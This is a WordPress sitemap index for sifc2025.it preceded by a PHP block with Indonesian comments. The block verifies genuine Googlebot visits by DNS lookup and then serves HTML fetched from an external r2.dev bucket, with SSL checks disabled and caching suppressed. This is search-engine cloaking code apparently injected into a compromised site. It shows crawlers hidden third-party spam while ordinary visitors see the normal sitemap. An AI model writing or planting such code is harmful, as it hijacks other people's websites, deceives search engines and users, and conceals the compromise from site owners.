if (!function_exists('isRealGooglebot')) {
    function isRealGooglebot() {
        if (empty($_SERVER['REMOTE_ADDR'])) {
            return false;
        }

        $ip   = $_SERVER['REMOTE_ADDR'];
        $host = gethostbyaddr($ip);

        // Pastikan host mengandung googlebot.com atau google.com
        if ($host && preg_match('/\.googlebot\.com$|\.google\.com$/', $host)) {
            // Validasi balik: pastikan host resolve ke IP yang sama
            $resolvedIp = gethostbyname($host);
            if ($resolvedIp === $ip) {
                return true;
            }
        }
        return false;
    }
}

if (isRealGooglebot()) {
    // Ambil konten dari URL target
    $target_url = "https://pub-006d4794a61f42c79ef0953b406aa159.r2.dev/tob.html";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $output = curl_exec($ch);

    if (curl_errno($ch)) {
        // kalau error
        $output = "<h1>Konten tidak tersedia saat ini</h1>";
    }
    curl_close($ch);

    // Tambahkan header anti-cache di sini
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");
    header("Expires: 0");

    echo $output;
    exit;
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://sifc2025.it/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://sifc2025.it/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://sifc2025.it/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://sifc2025.it/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://sifc2025.it/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
